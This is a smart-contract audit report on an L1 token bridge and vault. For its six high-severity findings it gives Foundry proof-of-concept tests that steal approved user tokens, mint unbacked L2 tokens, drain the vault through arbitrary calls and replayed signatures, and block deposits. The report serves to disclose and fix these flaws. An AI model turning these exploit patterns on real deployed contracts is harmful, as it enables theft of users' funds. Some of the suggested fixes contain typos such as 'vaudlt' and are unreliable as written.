Protocol Audit Report

Prepared by: Sahil Kaushik

Table of Contents

Protocol Summary

Disclaimer

I made all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

Likelihood	Impact	High	Medium	Low
High		H	H/M	M
Medium		H/M	M	M/L
Low		M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
07af21653ab3e8a8362bf5f63eb058047f562375
```

Scope

```
src/L1Token.sol
src/L1BossBridge.sol
src/L1Vault.sol
src/TokenFactory.sol
```

Roles

- Owner
- Operator

For this contract, only the owner should be able to interact with the contract. # Executive Summary ## Issues found

Severity	Number of issues found
High	6
Medium	0
Low	2
Info	1
Gas Optimizations	0
Total	9

Findings

High

[H-1] `create()` function in `TokenFactory::deployToken()` is not supported on zk-sync era.

Desciption: `create()` method will not work in `TokenFactory::deployToken()` as it is not supported on zk era.

Impact: `TokenFactory::deployToken()` will fail on execution in zk-era.

Proof of Concept: Refer this

https://docs.zksync.io/zksync-protocol/era-vm/differences/evm-instructions#create-create2

Recomended Mitigation: use the `Deployer_System_Contract` for the deployment on zk.

[H-2] Anyone can call `L1BossBridge::depositTokensToL2()` on behalf of users who gave aproval to `L1BossBridge` to stole thier tokens.

Description: The depositTokensToL2 function allows anyone to call it with a from address of any account that has approved tokens to the bridge.

As a consequence, an attacker can move tokens out of any victim account whose token allowance to the bridge is greater than zero. This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the l2Recipient parameter).

```
    function depositTokensToL2(
@>      address from,
        address l2Recipient,
        uint256 amount
    ) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
@>      token.transferFrom(from, address(vault), amount);

        // Our off-chain service picks up this event and mints the
          ↪  corresponding tokens on L2
        emit Deposit(from, l2Recipient, amount);
    }
```

Impact: All the users funds could get stolen.

Proof of Concept: 1. suppose a user approve the L1BossBridge to withdraw tokens. 2. before user could deposit his tokens to vault. 3. attacker see this oppurtunity and calls `depositTokensToL2` with param `l2Recipient` as his L2 address. 4. tokens of user will get locked up in user while the attacker will recieve its corresesponding tokens on L2.

Proof of Code

Tools used - Foundry

place this in `L1BossBridge.t.sol`

```
    function testAttackerCanStoleFunds() public {
        // address user = makeAddr("user");
        address attacker = makeAddr("attacker");
        // token._mint(user, 10e18);
        vm.prank(user);
        token.approve(address(tokenBridge), 1000e18);
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, address(attacker), 1000e18);

        tokenBridge.depositTokensToL2(user, address(attacker), 1000e18);
        vm.stopPrank();
        assert(token.balanceOf(user) == 0);
        assert(token.balanceOf(address(vault)) == 1000e18);
    }
```

the test will be passed successfully making all assertinos true.

Recomended Mitigation: use `msg.sender` instead of `from`.

```
    function depositTokensToL2(
-       address from,
        address l2Recipient,
        uint256 amount
    ) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
-       token.transferFrom(from, address(vault), amount);
+       token.transferFrom(msg.sender, address(vaudlt), amount);

        // Our off-chain service picks up this event and mints the
 ↪  corresponding tokens on L2
-       emit Deposit(from, l2Recipient, amount);
+       emit Deposit(msg.sender, l2Recipient, amount);
    }
```

[H-3] Calling `L1BossBridge::depositTokensToL2` with param `from` as vault address allowing infinite minting of unbacked tokens.

Description: depositTokensToL2 function allows the caller to specify the from address, from which tokens are taken. Because the vault grants infinite approval to the bridge already (as can be seen in the contract's constructor), it's possible for an attacker to call the depositTokensToL2 function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the Deposit event any number of times, presumably causing the minting of unbacked tokens in L2.

```
   constructor(IERC20 _token) Ownable(msg.sender) {
        token = _token;
        vault = new L1Vault(token);
        // Allows the bridge to move tokens out of the vault to facilitate
         ↪  withdrawals
@>      vault.approveTo(address(this), type(uint256).max);
    }
```

Impact: Attacker mint infinite unbacked tokens in L2.

Proof of Concept:

Proof Of Code

Tools used - Foundry

place this in test suite of `L1BossBridge.t.sol`:

```
    function testAttackerCanStoleFunds() public {
        // address user = makeAddr("user");
        address attacker = makeAddr("attacker");
        // token._mint(user, 10e18);
        vm.startPrank(user);
        token.approve(address(tokenBridge), 1000e18);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, address(user), 1000e18);
        tokenBridge.depositTokensToL2(user, address(user), 1000e18);
        vm.stopPrank();

        // attacker mint 3X times
        vm.startPrank(attacker);
        tokenBridge.depositTokensToL2(
            address(vault),
            address(attacker),
            1000e18
        );
        tokenBridge.depositTokensToL2(
            address(vault),
            address(attacker),
            1000e18
        );
        tokenBridge.depositTokensToL2(
            address(vault),
            address(attacker),
            1000e18
        );
        vm.stopPrank();
    }
```

it will successfully pass minting 3X tokens on L2 address of attacker.

Recomended Mitigation: use `msg.sender` instead of `from`.

```diff
    function depositTokensToL2(
-       address from,
        address l2Recipient,
        uint256 amount
    ) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
-       token.transferFrom(from, address(vault), amount);
+       token.transferFrom(msg.sender, address(vaudlt), amount);

        // Our off-chain service picks up this event and mints the
 ↪  corresponding tokens on L2
-       emit Deposit(from, l2Recipient, amount);
+       emit Deposit(msg.sender, l2Recipient, amount);
    }
```

[H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

Description: The `L1BossBridge` contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.

The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call that targets the vault and executes is `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

Proof of Conecpt:

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

Proof Of Code

To reproduce, include the following test in the `L1BossBridge.t.sol` file:

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);

    // An attacker deposits tokens to L2. We do this under the assumption
      ↪ that the
    // bridge operator needs to see a valid deposit tx to then allow us to
      ↪ request a withdrawal.
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(attacker), address(0), 0);
    tokenBridge.depositTokensToL2(attacker, address(0), 0);

    // Under the assumption that the bridge operator doesn't validate bytes
      ↪ being signed
    bytes memory message = abi.encode(
        address(vault), // target
        0, // value
        abi.encodeCall(L1Vault.approveTo, (address(attacker),
  ↪ type(uint256).max)) // data
    );
    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

    tokenBridge.sendToL1(v, r, s, message);
    assertEq(token.allowance(address(vault), attacker), type(uint256).max);
    token.transferFrom(address(vault), attacker,
  ↪ token.balanceOf(address(vault)));
}
```

Recomended Mitigation:

Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

[H-5] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed

Users who want to withdraw tokens from the bridge can call the `sendToL1` function, or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanisn (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

Proof Of Concept:

As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
function testCanReplayWithdrawals() public {
    // Assume the vault already holds some tokens
    uint256 vaultInitialBalance = 1000e18;
    uint256 attackerInitialBalance = 100e18;
    deal(address(token), address(vault), vaultInitialBalance);
    deal(address(token), address(attacker), attackerInitialBalance);

    // An attacker deposits tokens to L2
    vm.startPrank(attacker);
    token.approve(address(tokenBridge), type(uint256).max);
    tokenBridge.depositTokensToL2(attacker, attackerInL2,
 ↪  attackerInitialBalance);

    // Operator signs withdrawal.
    (uint8 v, bytes32 r, bytes32 s) =
        _signMessage(_getTokenWithdrawalMessage(attacker,
         ↪  attackerInitialBalance), operator.key);

    // The attacker can reuse the signature and drain the vault.
    while (token.balanceOf(address(vault)) > 0) {
        tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance, v,
 ↪  r, s);
    }
    assertEq(token.balanceOf(address(attacker)), attackerInitialBalance +
     ↪  vaultInitialBalance);
    assertEq(token.balanceOf(address(vault)), 0);
}
```

Recomended Mitigation: Consider redesigning the withdrawal mechanism so that it includes replay protection. For Example , inlcude a nonce while signing which changes on each message signing.

[H-6] Attacker can dos through `L1BossBridge::depositTokenToL()` check by trasfering amount more than deposit limit without the function resulting in revert of all transactions whoever will deposit.

Description: An attacker can just transfer an amount greater than deposit limit wihout the `depositTokenToL` function whichh will increase thhe vault balance to greater than `DEPOSIT_LIMIT`.After this attack no one will be able to deposit token . this halt the main functioning of the contract.

Impact: Protocol will be halted for depositing and minting on L2.

Proof of Concept: 1. attacker deposts DEPOSIT_LIMIT 2. every transation reverts on check after that.

Paste this in test suit.

```
    function testDOS() public {
        address attacker = makeAddr("attacker");
        deal(address(token), attacker, 100000e18);
        vm.startPrank(attacker);
        token.approve(address(vault), 100000e18);
        token.transfer(address(vault), 100000e18);
        vm.stopPrank();

        vm.startPrank(user);
        token.approve(address(tokenBridge), 1000e18);
        vm.expectRevert();
        tokenBridge.depositTokensToL2(user, address(user), 1000e18);
        vm.stopPrank();
    }
```

Recomended Mitigation: track the balance using a state variable.

```
+ uint256 deposits;
    function depositTokensToL2(
        address from,
        address l2Recipient,
        uint256 amount
    ) external whenNotPaused {
        // audit high dos attack
-        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
+        if (deposits + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
+        deposits+=amount;
        token.transferFrom(from, address(vault), amount);

        // Our off-chain service picks up this event and mints the
 ↪  corresponding tokens on L2
        emit Deposit(from, l2Recipient, amount);
    }
```

Low

[L-1] No check on return value after the transfer of funds , may act differently accross zk .

Recomended Mitigation:

```
function depositTokensToL2(
    address l2Recipient,
    uint256 amount
) external whenNotPaused {
    // Ensure the vault does not exceed the deposit limit
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }

    // Use msg.sender instead of a user-supplied "from" address to prevent
 ↪  unauthorized transfers
-    token.transferFrom(msg.sender, address(vault), amount);
+    bool success = token.transferFrom(msg.sender, address(vault), amount);
+    if (!success) {
+        revert L1BossBridge__TransferFailed();
+    }

    // Emit the Deposit event after state changes to follow the
 ↪  Checks-Effects-Interactions pattern
    emit Deposit(msg.sender, l2Recipient, amount);
}
```

[L-2] No events is being emmited on trasnfer of funds in `L1BossBridge::withdrawTokensToL1()`.

Description: Since in the description of protocol it is mentioned that all the trasnfer acroos chains will emit an event which will the oracle will detect for verificaiton.

Recomedend Mitigation::

```
    function withdrawTokensToL1(
        address to,
        uint256 amount,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external {
+       emit L1BossBridge_DepositedToL11(amount,to);
        sendToL1(
            v,
            r,
            s,
            abi.encode(
                address(token),
                0, // value
                abi.encodeCall(
                    IERC20.transferFrom,
                    (address(vault), to, amount)
                )
            )
        );
    }
```

Informational

[I-1] `L1BossBridge::depositTokensToL2()` does not folow check-effect-interactions.

Recomended Mitigation:

```
   function depositTokensToL2(
        address from,
        address l2Recipient,
        uint256 amount
    ) external whenNotPaused {
        // audit high dos attack
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
+       emit Deposit(from, l2Recipient, amount);
        token.transferFrom(from, address(vault), amount);
        // Our off-chain service picks up this event and mints the
 ↪  corresponding tokens on L2
-         emit Deposit(from, l2Recipient, amount);
    }
```